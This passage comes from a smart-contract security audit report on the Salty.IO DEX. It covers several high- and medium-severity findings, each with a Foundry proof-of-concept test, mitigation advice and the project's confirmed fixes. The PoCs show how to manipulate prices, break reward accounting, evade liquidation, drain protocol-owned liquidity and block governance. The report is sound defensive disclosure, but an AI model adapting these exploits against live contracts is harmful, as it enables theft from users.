console2.log("tokenA.balanceOf(ALICE): %e", tokenA.balanceOf(ALICE));
int wethDiff = int(wethAfterBalancing) - int(wethBefore);
int tokenADiff = int(tokenAAfterBalancing) - int(tokenABefore);
console2.log("weth.balanceOf(ALICE) diff: %e", wethDiff);
console2.log("tokenA.balanceOf(ALICE) diff: %e", tokenADiff);
// Note: Since the price of tokenA and WETH are the same at the start, with a 1:1 ratio,
// we can subtract and add them as equivalent values.
int sumDiff = wethDiff + tokenADiff;
console2.log("Diff (positive=profit) for the attacker: %e", sumDiff);
console2.log("Arbitrage profits for DAO: %e", pools.depositedUserBalance(address(dao), weth ));
}
function testMovePrice10PercentsFor1000EtherPools() public
{
_makeArbitragePossible(1_000);
_movePrice(MovePriceParams(75 ether, 10, 0.0363 ether));
}
function testMovePrice3PercentsFor1000EtherPools() public
{
_makeArbitragePossible(1_000);
_movePrice(MovePriceParams(23 ether, 3, 0.0036 ether));
}
function testMovePrice3PercentsFor100EtherPools() public
{
_makeArbitragePossible(100);
_movePrice(MovePriceParams(2.3 ether, 3, 0.0004 ether));
}
function testMovePrice3PercentsFor10EtherPools() public
{
_makeArbitragePossible(10);
_movePrice(MovePriceParams(0.23 ether, 3, 0.00008 ether));
}
}
(Optional) You can place this AWK script in 1e18.sh
, make it executable with chmod +x 1e18.sh
, and run COVERAGE="yes" forge test -f wss://ethereum-sepolia.publicnode.com -vvv --mc M2 | ./1e18.sh
for a more readable output. This script will convert numbers in exponential notation to a floating point format with three decimal places. For example, 1e17
will be printed as 0.100
.
#!/bin/bash
awk '{
for(i=1; i<=NF; i++) {
if ($i ~ /[0-9]+e[+-]?[0-9]+/) {
$i = sprintf("%.3f", $i / 1e18)
}
}
print $0
}'
Recommended Mitigation Steps
Consider replacing CoreSaltyFeed
with a different oracle that provides better protection against manipulation, like Band Protocol.
othernet-global (Salty.IO) confirmed and commented:
Note: the overcollateralized stablecoin mechanism has been removed from the DEX.
https://github.com/othernet-global/salty-io/commit/f3ff64a21449feb60a60c0d60721cfe2c24151c1
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed:
https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Status: Mitigation confirmed. Full details in reports from t0x1c, 0xpiken, and zzebra83.
[H-04] First depositor can break staking-rewards accounting
Submitted by 0xRobocop, also found by stackachu, Toshii, Arz, DedOhWale, peanuts, Draiakoo, zhaojie, and ether_sky
Staking in SALTY pools happens automatically when adding liquidity. In order to track the accrued rewards, the code “simulates” the amount of virtual rewards that need to be added given the increase of shares and lend this amount to the user. So, when computing the real rewards for a given user, the code will compute its rewards based on the totalRewards
of the given pool minus the virtual rewards. The following code computes the virtual rewards for a user:
uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );
Basically, it aims to maintain the current ratio of totalRewards
and existingTotalShares
. The issue with this is that allows the first depositor to set the ratio too high by donating some SALT tokens to the contract. For example, consider the following values:
uint256 virtualRewardsToAdd = Math.ceilDiv( 1000e18 * 200e18, 202 );
The returned value is in order of 39-40 digits. Which is beyond what 128 bits can represent:
user.virtualRewards += uint128(virtualRewardsToAdd);
totalRewards[poolID] += uint128(virtualRewardsToAdd);
This will broke the reward computations. For a more concrete example look the PoC.
Proof of Concept
The following coded PoC showcase an scenario where the first depositor set the rewards / shares
ratio too high, causing the rewards system to get broken. Specifically, it shows how the sum of the claimable rewards for each user is greater than the SALT balance of the contract.
It should be pasted under Staking/tests/StakingRewards.t.sol
.
function testUserCanBrickRewards() public {
vm.startPrank(DEPLOYER);
// Alice is the first depositor to poolIDs[1] and she deposited the minimum amounts 101 and 101 of both tokens.
// Hence, alice will get 202 shares.
stakingRewards.externalIncreaseUserShare(alice, poolIDs[1], 202, true);
assertEq(stakingRewards.userShareForPool(alice, poolIDs[1]), 202);
vm.stopPrank();
// Alice adds 100 SALT as rewards to the pool.
AddedReward[] memory addedRewards = new AddedReward[](1);
addedRewards[0] = AddedReward(poolIDs[1], 100 ether);
stakingRewards.addSALTRewards(addedRewards);
// Bob deposits 100 DAI and 100 USDS he will receive (202 * 100e8) / 101 = 200e18 shares.
vm.startPrank(DEPLOYER);
stakingRewards.externalIncreaseUserShare(bob, poolIDs[1], 200e18, true);
assertEq(stakingRewards.userShareForPool(bob, poolIDs[1]), 200e18);
vm.stopPrank();
// Charlie deposits 10000 DAI and 10000 USDS he will receive (202 * 10000e8) / 101 = 20000e18 shares.
vm.startPrank(DEPLOYER);
stakingRewards.externalIncreaseUserShare(charlie, poolIDs[1], 20000e18, true);
assertEq(stakingRewards.userShareForPool(charlie, poolIDs[1]), 20000e18);
vm.stopPrank();
// Observe how virtual rewards are broken.
uint256 virtualRewardsAlice = stakingRewards.userVirtualRewardsForPool(alice, poolIDs[1]);
uint256 virtualRewardsBob = stakingRewards.userVirtualRewardsForPool(bob, poolIDs[1]);
uint256 virtualRewardsCharlie = stakingRewards.userVirtualRewardsForPool(charlie, poolIDs[1]);
console.log("Alice virtual rewards %s", virtualRewardsAlice);
console.log("Bob virtual rewards %s", virtualRewardsBob);
console.log("Charlie virtual rewards %s", virtualRewardsCharlie);
// Observe the amount of claimable rewards.
uint256 aliceRewardAfter = stakingRewards.userRewardForPool(alice, poolIDs[1]);
uint256 bobRewardAfter = stakingRewards.userRewardForPool(bob, poolIDs[1]);
uint256 charlieRewardAfter = stakingRewards.userRewardForPool(charlie, poolIDs[1]);
console.log("Alice rewards %s", aliceRewardAfter);
console.log("Bob rewards %s", bobRewardAfter);
console.log("Charlie rewards %s", charlieRewardAfter);
// The sum of claimable rewards is greater than 1000e18 SALT.
uint256 sumOfRewards = aliceRewardAfter + bobRewardAfter + charlieRewardAfter;
console.log("All rewards &s", sumOfRewards);
bytes32[] memory poolIDs2;
poolIDs2 = new bytes32[](1);
poolIDs2[0] = poolIDs[1];
// It reverts
vm.expectRevert("ERC20: transfer amount exceeds balance");
vm.startPrank(charlie);
stakingRewards.claimAllRewards(poolIDs2);
vm.stopPrank();
}
Recommended Mitigation Steps
Some options:
- Make the function
addRewards
in theStakingRewards
contract permissioned. In this way, all rewards will need to go through the emitter first. - Do not let the first depositor to manipulate the initial ratio of rewards / share. It is possible for every pool to burn the initial 10000 shares and starts with an initial small amount of rewards, kind of simulating being the first depositor.
othernet-global (Salty.IO) confirmed and commented:
virtualRewards and userShare are now uint256 rather than uint128.
Fixed in: https://github.com/othernet-global/salty-io/commit/5f79dc4f0db978202ab7da464b09bf08374ec618
Considering that you could time this to break in the future and that it seems easily doable by an attacker on a new pool, High severity seems justified under “Loss of matured yield”.
Status: Mitigation confirmed. Full details in reports from t0x1c, 0xpiken, and zzebra83.
[H-05] User can evade liquidation
by depositing the minimum of tokens and gain time to not be liquidated
Submitted by 0xbepresent, also found by Arz, Audinarey (1, 2), c0pp3rscr3w3r, stackachu, memforvik, HALITUS, Infect3d, Udsen, Toshii, J4X, Aymen0909, Kalyan-Singh, 0xlemon, novodelta, mussucal, Draiakoo, 0xpiken, zhaojie, zhaojohnson, 00xSEV, juancito, CaeraDenoir, n0kto, DanielArmstrong, Auditwolf, Krace, israeladelaja, 0xAsen, pkqs90, PENGUN, 0xBinChook, lanrebayode77, twcctop, KingNFT, Jorgect, b0g0, 0xRobocop, 0xCiphky, djxploit, erosjohn, holydevoti0n, Banditx0x, iamandreiski, ayden, 0xanmol, klau5, solmaxis69, developerjordy, and 0xAlix2
The CollateralAndLiquidity contract contains a critical vulnerability that allows a user undergoing liquidation to evade the process by manipulating the user.cooldownExpiration
variable. This manipulation is achieved through the CollateralAndLiquidity::depositCollateralAndIncreaseShare function, specifically within the StakingRewards::_increaseUserShare function (code line #70):
File: StakingRewards.sol
57: function _increaseUserShare( address wallet, bytes32 poolID, uint256 increaseShareAmount, bool useCooldown ) internal
58: {
59: require( poolsConfig.isWhitelisted( poolID ), "Invalid pool" );
60: require( increaseShareAmount != 0, "Cannot increase zero share" );
61:
62: UserShareInfo storage user = _userShareInfo[wallet][poolID];
63:
64: if ( useCooldown )
65: if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
66: {
67: require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );
68:
69: // Update the cooldown expiration for future transactions
70: user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
71: }
72:
73: uint256 existingTotalShares = totalShares[poolID];
74:
75: // Determine the amount of virtualRewards to add based on the current ratio of rewards/shares.
76: // The ratio of virtualRewards/increaseShareAmount is the same as totalRewards/totalShares for the pool.
77: // The virtual rewards will be deducted later when calculating the user's owed rewards.
78: if ( existingTotalShares != 0 ) // prevent / 0
79: {
80: // Round up in favor of the protocol.
81: uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );
82:
83: user.virtualRewards += uint128(virtualRewardsToAdd);
84: totalRewards[poolID] += uint128(virtualRewardsToAdd);
85: }
86:
87: // Update the deposit balances
88: user.userShare += uint128(increaseShareAmount);
89: totalShares[poolID] = existingTotalShares + increaseShareAmount;
90:
91: emit UserShareIncreased(wallet, poolID, increaseShareAmount);
92: }
Malicious user can perform front-running of the liquidation
function by depositing small amounts of tokens to his position, incrementing the user.cooldownExpiration
variable. Consequently, the execution of the liquidation
function will be reverted with the error message Must wait for the cooldown to expire.
This vulnerability could lead to attackers evading liquidation, potentially causing the system to enter into debt as liquidations are avoided.
Proof of Concept
A test case, named testUserLiquidationMayBeAvoided
, has been created to demonstrate the potential misuse of the system. The test involves the following steps:
- User Alice deposits and borrow the maximum amount.
- The collateral price crashes.
- Alice maliciously front-runs the
liquidation
execution by depositing a the minimum amount using thecollateralAndLiquidity::depositCollateralAndIncreaseShare
function. - The
liquidation
transaction is reverted by “Must wait for the cooldown to expire” error.
// Filename: src/stable/tests/CollateralAndLiquidity.t.sol:TestCollateral
// $ forge test --match-test "testUserLiquidationMayBeAvoided" --rpc-url https://yoururl -vv
//
function testUserLiquidationMayBeAvoided() public {
// Liquidatable user can avoid liquidation
//
// Have bob deposit so alice can withdraw everything without DUST reserves restriction
_depositHalfCollateralAndBorrowMax(bob);
//
// 1. Alice deposit and borrow the max amount
// Deposit and borrow for Alice
_depositHalfCollateralAndBorrowMax(alice);
// Check if Alice has a position
assertTrue(_userHasCollateral(alice));
//
// 2. Crash the collateral price
_crashCollateralPrice();
vm.warp( block.timestamp + 1 days );
//
// 3. Alice maliciously front run the liquidation action and deposit a DUST amount
vm.prank(alice);
collateralAndLiquidity.depositCollateralAndIncreaseShare(PoolUtils.DUST + 1, PoolUtils.DUST + 1, 0, block.timestamp, false );
//
// 4. The function alice liquidation will be reverted by "Must wait for the cooldown to expire"
vm.expectRevert( "Must wait for the cooldown to expire" );
collateralAndLiquidity.liquidateUser(alice);
}
Recommended Mitigation Steps
Consider modifying the liquidation function as follows:
function liquidateUser( address wallet ) external nonReentrant
{
require( wallet != msg.sender, "Cannot liquidate self" );
// First, make sure that the user's collateral ratio is below the required level
require( canUserBeLiquidated(wallet), "User cannot be liquidated" );
uint256 userCollateralAmount = userShareForPool( wallet, collateralPoolID );
// Withdraw the liquidated collateral from the liquidity pool.
// The liquidity is owned by this contract so when it is withdrawn it will be reclaimed by this contract.
(uint256 reclaimedWBTC, uint256 reclaimedWETH) = pools.removeLiquidity(wbtc, weth, userCollateralAmount, 0, 0, totalShares[collateralPoolID] );
// Decrease the user's share of collateral as it has been liquidated and they no longer have it.
-- _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true );
++ _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, false );
// The caller receives a default 5% of the value of the liquidated collateral.
uint256 rewardPercent = stableConfig.rewardPercentForCallingLiquidation();
uint256 rewardedWBTC = (reclaimedWBTC * rewardPercent) / 100;
uint256 rewardedWETH = (reclaimedWETH * rewardPercent) / 100;
// Make sure the value of the rewardAmount is not excessive
uint256 rewardValue = underlyingTokenValueInUSD( rewardedWBTC, rewardedWETH ); // in 18 decimals
uint256 maxRewardValue = stableConfig.maxRewardValueForCallingLiquidation(); // 18 decimals
if ( rewardValue > maxRewardValue )
{
rewardedWBTC = (rewardedWBTC * maxRewardValue) / rewardValue;
rewardedWETH = (rewardedWETH * maxRewardValue) / rewardValue;
}
// Reward the caller
wbtc.safeTransfer( msg.sender, rewardedWBTC );
weth.safeTransfer( msg.sender, rewardedWETH );
// Send the remaining WBTC and WETH to the Liquidizer contract so that the tokens can be converted to USDS and burned (on Liquidizer.performUpkeep)
wbtc.safeTransfer( address(liquidizer), reclaimedWBTC - rewardedWBTC );
weth.safeTransfer( address(liquidizer), reclaimedWETH - rewardedWETH );
// Have the Liquidizer contract remember the amount of USDS that will need to be burned.
uint256 originallyBorrowedUSDS = usdsBorrowedByUsers[wallet];
liquidizer.incrementBurnableUSDS(originallyBorrowedUSDS);
// Clear the borrowedUSDS for the user who was liquidated so that they can simply keep the USDS they previously borrowed.
usdsBorrowedByUsers[wallet] = 0;
_walletsWithBorrowedUSDS.remove(wallet);
emit Liquidation(msg.sender, wallet, reclaimedWBTC, reclaimedWETH, originallyBorrowedUSDS);
}
This modification ensures that the user.cooldownExpiration
expiration check does not interfere with the liquidation
process, mitigating the identified security risk.
othernet-global (Salty.IO) confirmed and commented:
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed:
https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Status: Mitigation confirmed. Full details in reports from zzebra83, 0xpiken, and t0x1c.
[H-06] When borrowers repay USDS, it is sent to the wrong address, allowing anyone to burn Protocol Owned Liquidity and build bad debt for USDS
Submitted by nonseodion, also found by Toshii, lanrebayode77, Aymen0909, KingNFT, juancito, 00xSEV, fnanni, oakcobalt, chaduke, israeladelaja, Ephraim, zach (1, 2), Drynooo, solmaxis69, pkqs90, wangxx2026, ether_sky, 0x3b, LeoGold, Jorgect, 0xAlix2, 0xRobocop, 0xanmol, djxploit, ayden, and klau5
When a user repays the USDS he has borrowed, it is taken from him and kept for burning. The Liquidizer contract is updated with the new amount repaid. The USDS is burnt whenever the performUpkeep
function is called on Liquidizer by the Upkeep contract during upkeep.
The USDS collected is sent to the USDS contract which can be burned whenever burnTokensInContract
is called. The amount of USDS to be burnt in the Liquidizer contract is also increased by the incrementBurnableUSDS
call. This increases the usdsThatShouldBeBurned
variable on the Liquidizer.
function repayUSDS( uint256 amountRepaid ) external nonReentrant{
...
usds.safeTransferFrom(msg.sender, address(usds), amountRepaid);
// Have USDS remember that the USDS should be burned
liquidizer.incrementBurnableUSDS( amountRepaid );
...
}
During upkeep, the Liquidizer first checks if it has enough USDS balance to burn i.e usdsBalance >= usdsThatShouldBeBurned
. If it does it burns them else it converts Protocol Owned Liquidity (POL) to USDS and burns it to cover the deficit. Burning POL allows the protocol to cover bad debt from liquidation.
function _possiblyBurnUSDS() internal{
...
uint256 usdsBalance = usds.balanceOf(address(this));
if ( usdsBalance >= usdsThatShouldBeBurned )
{
// Burn only up to usdsThatShouldBeBurned.
// Leftover USDS will be kept in this contract in case it needs to be burned later.
_burnUSDS( usdsThatShouldBeBurned );
usdsThatShouldBeBurned = 0;
}
else
{
// The entire usdsBalance will be burned - but there will still be an outstanding balance to burn later
_burnUSDS( usdsBalance );
usdsThatShouldBeBurned -= usdsBalance;
// As there is a shortfall in the amount of USDS that can be burned, liquidate some Protocol Owned Liquidity and
// send the underlying tokens here to be swapped to USDS
dao.withdrawPOL(salt, usds, PERCENT_POL_TO_WITHDRAW);
dao.withdrawPOL(dai, usds, PERCENT_POL_TO_WITHDRAW);
}
}
Since the usdsThatShouldBeBurned
variable will always be increased without increasing the Liquidizer balance, it will always sell POL to cover the increase.
If the POL is exhausted, the protocol cannot cover bad debt generated from liquidations. This will affect the price of USDS negatively.
An attacker can borrow and repay multiple times to exhaust POL and create bad debt or it could just be done over time as users repay their USDS.
Impact
This will affect the price of USDS negatively.
Proof of Concept
This test can be run in CollateralAndLiquidity.t.sol.
function testBurnPOL() public {
// setup
vm.prank(address(collateralAndLiquidity));
usds.mintTo(address(dao), 20000 ether);
vm.prank(address(teamVestingWallet));
salt.transfer(address(dao), 10000 ether);
vm.prank(DEPLOYER);
dai.transfer(address(dao), 10000 ether);
// create Protocol Owned Liquidity (POL)
vm.startPrank(address(dao));
collateralAndLiquidity.depositLiquidityAndIncreaseShare(salt, usds, 10000 ether, 10000 ether, 0, block.timestamp, false );
collateralAndLiquidity.depositLiquidityAndIncreaseShare(dai, usds, 10000 ether, 10000 ether, 0, block.timestamp, false );
vm.stopPrank();
bytes32 poolIDA = PoolUtils._poolID(salt, usds);
bytes32 poolIDB = PoolUtils._poolID(dai, usds);
assertEq( collateralAndLiquidity.userShareForPool(address(dao), poolIDA), 20000 ether);
assertEq( collateralAndLiquidity.userShareForPool(address(dao), poolIDB), 20000 ether);
// Alice deposits collateral
vm.startPrank(address(alice));
wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
weth.approve(address(collateralAndLiquidity), type(uint256).max);
collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtc.balanceOf(alice), weth.balanceOf(alice), 0, block.timestamp, true );
// Alice performs multiple borrows and repayments, increasing the
// usdsThatShouldBeBurned variable in Liquidizer
for (uint i; i < 100; i++){
vm.startPrank(alice);
uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
collateralAndLiquidity.borrowUSDS( maxUSDS );
uint256 borrowed = collateralAndLiquidity.usdsBorrowedByUsers(alice);
collateralAndLiquidity.repayUSDS(borrowed);
}
vm.startPrank(address(upkeep));
// perform upkeep multiple times to cover bad debt
// breaks when POL is exhausted
for(;;){
(, uint reserve1) = pools.getPoolReserves(dai, usds);
if(reserve1 * 99 / 100 < 100) break;
liquidizer.performUpkeep();
}
assertGt(liquidizer.usdsThatShouldBeBurned(), usds.balanceOf(address(liquidizer)));
}
Recommended Mitigation Steps
Send the repaid USDS to the Liquidizer.
othernet-global (Salty.IO) confirmed and commented:
The stablecoin framework: /stablecoin, /price_feed, WBTC/WETH collateral, PriceAggregator, price feeds and USDS have been removed:
https://github.com/othernet-global/salty-io/commit/88b7fd1f3f5e037a155424a85275efd79f3e9bf9
Status: Mitigation confirmed. Full details in reports from 0xpiken, zzebra83, and t0x1c.
Medium Risk Findings (31)
[M-01] The user who withdraws liquidity from a particular pool is able to claim more rewards than they should by carefully selecting a decreaseShareAmount
value such that the virtualRewardsToRemove
is rounded down to zero
Submitted by Udsen, also found by stackachu, ether_sky, Jorgect, Banditx0x, J4X, DanielArmstrong, santiellena, Draiakoo, and 0xfave
https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L113-L118
https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L132-L133
https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L99
The StakingRewards._decreaseUserShare
function is used to decrease a user’s share for the pool and have any pending rewards sent to them. When the amount of pending rewards are calculated, initially the virtualRewardsToRemove
are calculated as follows:
uint256 virtualRewardsToRemove = (user.virtualRewards * decreaseShareAmount) / user.userShare;
Then the virtualRewardsToRemove
is substracted from the rewardsForAmount
value to calculate the claimableRewards
amount as shown below:
if ( virtualRewardsToRemove < rewardsForAmount )
claimableRewards = rewardsForAmount - virtualRewardsToRemove;
But the issue here is that the virtualRewardsToRemove
calculation is rounded down in favor of the user and not in the favor of the protocol. Since the virtualRewardsToRemove
is rounded down there is an opportunity to the user to call the StakingRewards._decreaseUserShare
function with a very small decreaseShareAmount
value such that the virtualRewardsToRemove
will be rounded down to 0
. Providing a very small decreaseShareAmount
value is possible since only input validation on decreaseShareAmount
is ! = 0
as shown below:
require( decreaseShareAmount != 0, "Cannot decrease zero share" );
When the claimableRewards
is calculated it will be equal to the rewardsForAmount
value since the virtualRewardsToRemove
will be 0
. This way the user can keep on removing his liquidity from a particular pool by withdrawing small decreaseShareAmount
at a time such that keeping virtualRewardsToRemove
at 0
due to rounding down.
Furthermore the decreaseShareAmount
value should be selected in such a way rewardsForAmount
is calculated to a considerable amount after round down (not zero) and the virtualRewardsToRemove
should round down to zero.
Hence as a result the user
can withdraw all the rewardsForAmount
as the claimableRewards
even though some of those rewards are virtual rewards
which should not be claimable as clearly stated by the following natspec
comment:
// Some of the rewardsForAmount are actually virtualRewards and can't be claimed.
Hence as a result the user is able to get an undue advantage and claim more rewards for his liquidity during liquidity withdrawable. This happens because the user
can bypass the virtual reward
subtraction by making it round down to 0
. As a result the virtualReward
amount of the rewardsForAmount
, which should not be claimable is also claimed by the user unfairly.
Proof of Concept
// Determine the share of the rewards for the amountToDecrease (will include previously added virtual rewards)
uint256 rewardsForAmount = ( totalRewards[poolID] * decreaseShareAmount ) / totalShares[poolID];
// For the amountToDecrease determine the proportion of virtualRewards (proportional to all virtualRewards for the user)
// Round virtualRewards down in favor of the protocol
uint256 virtualRewardsToRemove = (user.virtualRewards * decreaseShareAmount) / user.userShare;
https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L113-L118
if ( virtualRewardsToRemove < rewardsForAmount )
claimableRewards = rewardsForAmount - virtualRewardsToRemove;
https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L132-L133
require( decreaseShareAmount != 0, "Cannot decrease zero share" );
https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L99
Tools Used
VSCode
Recommended Mitigation Steps
Hence it is recommended to round up the virtualRewardsToRemove
value during its calculation such that it will not be rounded down to zero for a very small decreaseShareAmount
. This way user
is unable to claim the rewards which he is not eligible for and the rewards will be claimed after accounting for the virtual rewards
.
othernet-global (Salty.IO) confirmed and commented:
virtualRewards now rounded up on _decreaseUserShare
https://github.com/othernet-global/salty-io/commit/b3b8cb955db2b9f0e47a4964e1e4f833a447a72d
Status: Mitigated with an Error. Full details in report from t0x1c, and also included in the Mitigation Review section below.
[M-02] Persistent Contract Call revert prevents finalizing a ballot
Submitted by vnavascues, also found by ether_sky, 0xRobocop, and haxatron
https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/DAO.sol#L180
https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/DAO.sol#L219
https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/DAO.sol#L219
The DAO._executeApproval
function does not handle an external contract call error:
else if (ballot.ballotType == BallotType.CALL_CONTRACT) {
// @audit-issue unhandled revert
ICalledContract(ballot.address1).callFromDAO(ballot.number1);
emit ContractCalled(ballot.address1, ballot.number1);
}
Given an approved CALL_CONTRACT
ballot that can be finalized, the ballot won’t be marked as finalized if the external contract call (from above) reverts.
function _finalizeApprovalBallot(uint256 ballotID) internal {
if (proposals.ballotIsApproved(ballotID)) {
Ballot memory ballot = proposals.ballotForID(ballotID);
_executeApproval(ballot);
}
// @audit-issue the line below won't be executed if `_executeApproval` reverts
proposals.markBallotAsFinalized(ballotID);
}
Impact
A permanent revert leaves the ballot unfinalized, and the user that posted it with an active proposal (in the _userHasActiveProposal
mapping); a state that prevents the user account from creating a new proposal. At this point the user has two options to sort out the situation:
A. Unstake and transfer its SALT into a new account. B. Convince the other users to reach quorum on NO and finalize the ballot without calling the external contract.
Proof Of Concept
New contract to be created in /src/dao/tests
:
// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;
import "../interfaces/ICalledContract.sol";
contract TestCallReceiverFaulty is ICalledContract {
uint256 public value;
function callFromDAO(uint256 n) external {
value = n;
revert("callFromDAO() unexpectedly reverted");
}
}
Add the following test in DAO.t.sol
:
function testCallContractApproveReverted() public {
// Arrange
vm.startPrank(alice);
staking.stakeSALT(1000000 ether);
TestCallReceiverFaulty testReceiver = new TestCallReceiverFaulty();
uint256 ballotID = proposals.proposeCallContract(
address(testReceiver),
123,
"description"
);
assertEq(
proposals.ballotForID(ballotID).ballotIsLive,
true,
"Ballot not correctly created"
);
proposals.castVote(ballotID, Vote.YES);
vm.warp(block.timestamp + 11 days);
vm.expectRevert("callFromDAO() unexpectedly reverted");
// Act
dao.finalizeBallot(ballotID);
// Assert
assertEq(
proposals.ballotForID(ballotID).ballotIsLive,
true,
"Ballot not correctly finalized"
);
assertTrue(
testReceiver.value() != 123,
"Receiver shouldn't receive the call"
);
assertEq(
proposals.userHasActiveProposal(alice),
true,
"Alice proposal is not active"
);
}
Recommended Mitigation Steps
A trivial solution is to handle the reverted external contract call with a try..catch
and allow to always mark the approved ballot as finalized. A new ballot can always be created if the desired effects of the call were not applied on the first call.
Amend the CALL_CONTRACT
case in the DAO._executeApproval
function:
else if (ballot.ballotType == BallotType.CALL_CONTRACT) {
try ICalledContract(ballot.address1).callFromDAO(ballot.number1) {
// NB: place the emission outside if it must be emitted no matter the external call outcome
emit ContractCalled(ballot.address1, ballot.number1);
} catch (bytes memory) {}
}
Add the following test in DAO.t.sol
:
function testCallContractApproveRevertHandled() public {
// Arrange
vm.startPrank(alice);
staking.stakeSALT(1000000 ether);
TestCallReceiverFaulty testReceiver = new TestCallReceiverFaulty();
uint256 ballotID = proposals.proposeCallContract(
address(testReceiver),
123,
"description"
);
// Act
_voteForAndFinalizeBallot(ballotID, Vote.YES);
// Assert
assertTrue(
testReceiver.value() != 123,
"Receiver shouldn't receive the call"
);
assertEq(
proposals.userHasActiveProposal(alice),
false,
"Alice proposal is not active"
);
}
othernet-global (Salty.IO) confirmed and commented:
callFromDAO now wrapped in a try/catch
https://github.com/othernet-global/salty-io/commit/5f1a5206a04b0f3fe45ad88a311370ce12fb0135
Note: For full discussion, see here.
Status: Mitigation confirmed. Full details in reports from t0x1c, 0xpiken, and [zzebra83].
[M-03] Creation of token whitelisting proposals can be DOS’d
Submitted by falconhoof, also found by josephdara, inzinko (1, 2), zhaojie, forgebyola, Rhaydden, J4X, BiasedMerc, jesjupyter, and cats
The creation of token whitelisting proposals isn limited to 5 proposals; after which it is DOS’d until proposals are voted on and finalized.
Vulnerability Details
In proposeTokenWhitelisting()
when a proposal is created to whitelist a new token; the ballotId
is added to _openBallotsForTokenWhitelisting
.
There is then a check to ensure that the length of _openBallotsForTokenWhitelisting
does not exceed daoConfig.maxPendingTokensForWhitelisting()
.
Where maxPendingTokensForWhitelisting
has been reached, new proposals will not be created for whitelisting tokens. This could happen by accident or by malicious actions on the part of users manipulating the system.
By default maxPendingTokensForWhitelisting
is set to 5 but it could be decreased via vote to 3 which would make the issue even more common place.
function proposeTokenWhitelisting( IERC20 token, string calldata tokenIconURL, string calldata description ) external nonReentrant returns (uint256 _ballotID)
{
// SOME CODE
>>> require( _openBallotsForTokenWhitelisting.length() < daoConfig.maxPendingTokensForWhitelisting(), "The maximum number of token whitelisting proposals are already pending" );
// SOME CODE
uint256 ballotID = _possiblyCreateProposal( ballotName, BallotType.WHITELIST_TOKEN, address(token), 0, tokenIconURL, description );
_openBallotsForTokenWhitelisting.add( ballotID );
return ballotID;
}
POC
Add the test function below to DAO.t.sol
and run:
```
function test_DOS_TokenWhitelisting() public
{
// declare names; need 4 more to create proposals
address charlie = address( 0x3333 );
address deployer = address( 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF );
address paul = address( 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496 );
address jim = address( 0x123456789 );
// transfer salt to all 6 for staking and voting
vm.startPrank(address(daoVestingWallet));
salt.transfer(alice, 200000 ether);
salt.transfer(bob, 200000 ether);
salt.transfer(charlie, 200000 ether);
salt.transfer(deployer, 200000 ether);
salt.transfer(paul, 200000 ether);
salt.transfer(jim, 200000 ether);
salt.transfer(address(dao), 1000000 ether);
vm.stopPrank();
// create 6 tokens
IERC20 test = new TestERC20( "TEST", 18 );
IERC20 test1 = new TestERC20( "TEST1", 18 );
IERC20 test2 = new TestERC20( "TEST2", 18 );
IERC20 test3 = new TestERC20( "TEST3", 18 );
IERC20 test4 = new TestERC20( "TEST4", 18 );
IERC20 test5 = new TestERC20( "TEST5", 18 );
// Each user stake SALT and try to create token whitelisting proposal
vm.startPrank(alice);
staking.stakeSALT(100000 ether);
proposals.proposeTokenWhitelisting(test, "url", "description");
vm.stopPrank();
vm.startPrank(bob);
salt.approve( address(staking), type(uint256).max );
staking.stakeSALT(100000 ether);
proposals.proposeTokenWhitelisting(test1, "url", "description");
vm.stopPrank();
vm.startPrank(charlie);
salt.approve( address(staking), type(uint256).max );
staking.stakeSALT(100000 ether);
proposals.proposeTokenWhitelisting(test2, "url", "description");
vm.stopPrank();
vm.startPrank(deployer);
salt.approve( address(staking), type(uint256).max );
staking.stakeSALT(100000 ether);
proposals.proposeTokenWhitelisting(test3, "url", "description");
vm.stopPrank();
vm.startPrank(paul);
salt.approve( address(staking), type(uint256).max );
staking.stakeSALT(100000 ether);
proposals.proposeTokenWhitelisting(test4, "url", "description");
vm.stopPrank();
// jim needs to be granted access
grantAccessTeam();
// 6th proposal fails
vm.startPrank(jim);
salt.approve( address(staking), type(uint256).max );
staking.stakeSALT(100000 ether);
vm.expectRevert("The maximum number of token whitelisting proposals are already pending");
proposals.proposeTokenWhitelisting(test5, "url", "description");
vm.stopPrank();
}
```
Impact
Malicious users can clog the whitelisting queue with fake token proposals, blocking the addition of genuine tokens and DOSing core functionality of the protocol. This can restrict the ability of the protocol to operate and it’s popularity with users. Although a user can only create one proposal per address at a time; a coordinated group of just five could block the functionality indefinitely.
Tools Used
Foundry
Recommendations
Allow a trusted authority to remove proposals which they deem to be malicious such as proposals for fake tokens.
othernet-global (Salty.IO) confirmed, but disagreed with severity and commented:
Make proposals require a percent of the staking SALT which is set by the DAO. Each user can only make one proposal at a time. Additionally, the default unstaking period for xSALT is 52 weeks and xSALT is non-transferrable.
